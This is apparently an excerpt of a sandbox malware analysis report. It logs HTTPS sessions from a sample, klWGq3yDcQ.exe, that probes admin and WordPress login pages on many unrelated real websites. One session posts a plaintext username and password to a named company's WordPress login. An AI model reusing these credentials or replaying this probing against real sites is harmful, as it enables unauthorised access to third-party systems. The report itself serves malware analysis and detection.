2023-11-26 06:00:00 UTC	810	IN	Data Raw: 33 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 4a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 63 Data Ascii: 323<!DOCTYPE html><html lang="nl"><head><title>Beach Recruitment B.V.</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><meta http-equiv="Content-Script-Type" content="text/Javascript"><meta http-equiv="Content-Style-Type" c
2023-11-26 06:00:00 UTC	7023	IN	Data Raw: 31 42 36 37 0d 0a 75 65 72 79 43 68 6f 73 65 6e 29 2d 2d 3e 0a 3c 21 2d 2d 20 41 43 4d 53 42 55 53 4a 41 42 3c 48 6f 6d 65 3e 20 2f 20 3c 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 26 20 43 61 72 65 65 72 20 2d 20 62 65 61 63 68 72 20 2d 20 48 6f 6d 65 3e 20 2f 20 3c 32 3e 20 4d 45 4e 55 53 20 2f 20 3c 54 68 6f 6d 61 73 20 76 61 6e 20 53 63 68 61 69 6b 3e 20 2d 2d 3e 0a 3c 21 2d 2d 20 72 65 6d 61 72 6b 3a 20 73 74 61 72 74 20 63 61 6e 6f 6e 69 63 61 6c 20 6c 69 6e 6b 20 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 6e 74 2e 63 6f 6d 22 3e 0a 3c 21 2d 2d 20 65 6e 64 20 63 61 6e 6f 6e 69 63 61 6c 20 6c 69 6e 6b 20 2d 2d Data Ascii: 1B67ueryChosen)-->... ACMSBUSJAB<Home> / <Beach Recruitment & Career - beachr - Home> / <2> MENUS / <Thomas van Schaik> -->... remark: start canonical link --><link rel="canonical" href="https://www.beachrecruitment.com">... end canonical link --
2023-11-26 06:00:00 UTC	1349	IN	Data Raw: 35 33 45 0d 0a 49 6e 74 72 6f 22 3e 0a 09 09 09 09 3c 69 6d 67 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 33 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 35 35 30 70 78 3b 22 20 61 6c 74 3d 22 22 20 74 69 74 6c 65 3d 22 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 6e 74 2e 63 6f 6d 2f 5f 69 6d 61 67 65 73 5f 75 70 6c 6f 61 64 2f 5f 74 6e 5f 34 66 63 36 39 30 39 31 62 37 66 65 33 61 31 62 2e 6a 70 67 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 49 6e 74 72 6f 54 65 78 74 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 21 2d 2d 49 4e 54 52 4f 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 53 6c 69 64 65 72 22 3e 0a 09 09 0a 09 09 09 3c Data Ascii: 53EIntro"><img style="width: 320px; height: 550px;" alt="" title="" src="https://www.beachrecruitment.com/_images_upload/_tn_4fc69091b7fe3a1b.jpg"><div class="tIntroText"></div></div>...INTROLINKS--><div class="tSlider"><
2023-11-26 06:00:00 UTC	4044	IN	Data Raw: 46 43 35 0d 0a 31 2f 63 6f 6d 6d 61 6e 64 2f 73 74 61 72 74 75 70 72 65 73 75 6c 74 73 2f 63 6d 73 5f 63 61 74 65 67 6f 72 69 65 2f 39 34 36 37 38 2f 63 61 74 2f 61 6c 6c 22 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 3c 53 54 52 49 4b 45 3e 42 65 6b 69 6a 6b 20 61 6c 6c 65 20 76 61 63 61 74 75 72 65 73 3c 2f 53 54 52 49 4b 45 3e 3c 2f 41 3e 3c 2f 50 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 49 74 65 6d 43 6f 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 46 6f 74 6f 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 74 79 6c 65 3d 22 22 Data Ascii: FC51/command/startupresults/cms_categorie/94678/cat/all" target="_self"><STRIKE>Bekijk alle vacatures</STRIKE></A></P></div></div></div>...LINKS--></div><div class="tItemCon"><div class="tFoto"><img style=""
2023-11-26 06:00:00 UTC	13597	IN	Data Raw: 33 35 31 35 0d 0a 65 6e 74 2e 63 6f 6d 2f 76 61 63 61 74 75 72 65 73 2f 76 61 63 61 74 75 72 65 5f 70 72 6f 64 75 63 74 69 6f 6e 5f 6d 61 6e 61 67 65 72 5f 64 65 5f 6b 75 79 70 65 72 5f 38 32 30 34 31 30 5f 31 31 2e 68 74 6d 6c 22 3e 50 72 6f 64 75 63 74 69 6f 6e 20 4d 61 6e 61 67 65 72 20 2f 20 44 65 20 4b 75 79 70 65 72 3c 2f 61 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a 09 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 57 6f 72 64 20 6a 73 6c 4b 65 79 77 6f 72 64 20 6a 73 6c 4c 6f 63 61 74 69 6f 6e 22 3e 0a 09 09 09 3c 73 70 61 6e 3e 69 6e 3c 21 2d 2d 53 69 6e 67 6c 65 57 6f 72 64 4c 69 6e 6b 31 2d 2d 3e 3c 2f 73 70 61 6e 3e 56 65 72 74 72 6f 75 77 65 6c 69 6a 6b 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a Data Ascii: 3515ent.com/vacatures/vacature_production_manager_de_kuyper_820410_11.html">Production Manager / De Kuyper</a></div><div class="hookItemWord jslKeyword jslLocation"><span>in...SingleWordLink1--></span>Vertrouwelijk</div>
2023-11-26 06:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.4	56317	18.228.96.142	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	184	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: www.rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	440	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 63 68 2e 63 6f 6d 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 34 38 30 30 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 30 33 20 44 65 63 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Length: 0Connection: closeContent-Security-Policy: frame-ancestors 'self'Location: https://rech.comSet-Cookie: originDirect=true; Max-Age=604800; Expires=Sun, 03 Dec 2023 06:00:00 GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.4	56304	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	168	OUT	GET /admin.php HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	215	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 2e 70 68 70 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 39 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 06:00:00 GMTServer: ApacheLocation: https://www.knu.ac.in/admin.phpContent-Length: 299Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 06:00:00 UTC	299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.knu.ac.in/admin.php">here</a>.</p><hr><address>Apache Server at

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.4	56353	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	356	OUT	POST /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gruporegiosafety.com/wp-login.php Content-Length: 164 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:59 UTC	164	OUT	Data Raw: 6c 6f 67 3d 63 6f 6d 70 72 61 73 25 34 30 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 26 70 77 64 3d 43 6f 6d 70 72 61 73 47 52 53 32 30 32 33 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=compras%40gruporegiosafety.com&pwd=ComprasGRS2023&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fgruporegiosafety.com%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:02 UTC	492	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:00 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 06:00:02 UTC	7700	IN	Data Raw: 32 39 34 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 2948<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 06:00:02 UTC	2874	IN	Data Raw: 72 61 6e 73 6c 61 74 69 6f 6e 73 2e 6c 6f 63 61 6c 65 5f 64 61 74 61 5b 20 64 6f 6d 61 69 6e 20 5d 20 7c 7c 20 74 72 61 6e 73 6c 61 74 69 6f 6e 73 2e 6c 6f 63 61 6c 65 5f 64 61 74 61 2e 6d 65 73 73 61 67 65 73 3b 0a 09 6c 6f 63 61 6c 65 44 61 74 61 5b 22 22 5d 2e 64 6f 6d 61 69 6e 20 3d 20 64 6f 6d 61 69 6e 3b 0a 09 77 70 2e 69 31 38 6e 2e 73 65 74 4c 6f 63 61 6c 65 44 61 74 61 28 20 6c 6f 63 61 6c 65 44 61 74 61 2c 20 64 6f 6d 61 69 6e 20 29 3b 0a 7d 20 29 28 20 22 64 65 66 61 75 6c 74 22 2c 20 7b 22 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 76 69 73 69 6f 6e 2d 64 61 74 65 22 3a 22 32 30 32 33 2d 31 31 2d 31 30 20 31 37 3a 31 38 3a 34 37 2b 30 30 30 30 22 2c 22 67 65 6e 65 72 61 74 6f 72 22 3a 22 47 6c 6f 74 50 72 65 73 73 5c 2f 34 2e 30 2e 30 2d 61 6c Data Ascii: ranslations.locale_data[ domain ] \|\| translations.locale_data.messages;localeData[""].domain = domain;wp.i18n.setLocaleData( localeData, domain );} )( "default", {"translation-revision-date":"2023-11-10 17:18:47+0000","generator":"GlotPress\/4.0.0-al
2023-11-26 06:00:02 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 06:00:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.4	56351	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	259	OUT	GET /admin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=hY8Vy7VtT12kDq0RfaLK5NeJRfcW.qBPudtlDQAWA4k-1700978399347-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	550	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 72 61 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://tra
2023-11-26 06:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.4	56307	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	182	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	530	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 67 68 33 66 6f 64 6e 6b 74 6c 63 67 34 65 69 32 6e 33 67 6f 32 73 72 33 75 36 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 30 32 33 20 30 37 3a 30 30 3a 30 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 06:00:00 GMTTransfer-Encoding: chunkedConnection: closeSet-Cookie: PHPSESSID=gh3fodnktlcg4ei2n3go2sr3u6; expires=Sun, 26-Nov-2023 07:00:00 GMT; Max-Age=3600; path=/; secure; HttpOnlyExpires
2023-11-26 06:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.4	56364	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	248	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	162	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 06:00:00 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 06:00:00 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.4	56379	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	508	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 63 6c 2d 62 79 70 61 73 73 2d 63 61 63 68 65 3d 79 65 73 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 33 20 30 36 3a 35 39 3a 35 39 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeSet-Cookie: cl-bypass-cache=yes; Expires=Sun, 26-Nov-23 06:59:59 GMT; Domain=mydirectlender.com; Path=/; HttpOnly; SameSite=Lax
2023-11-26 06:00:00 UTC	15876	IN	Data Raw: 34 66 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 61 70 74 63 68 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 0a 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 36 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 0a 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 31 71 38 6d 54 4a 4f 41 53 78 38 6a 31 Data Ascii: 4fd0<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Captcha</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1
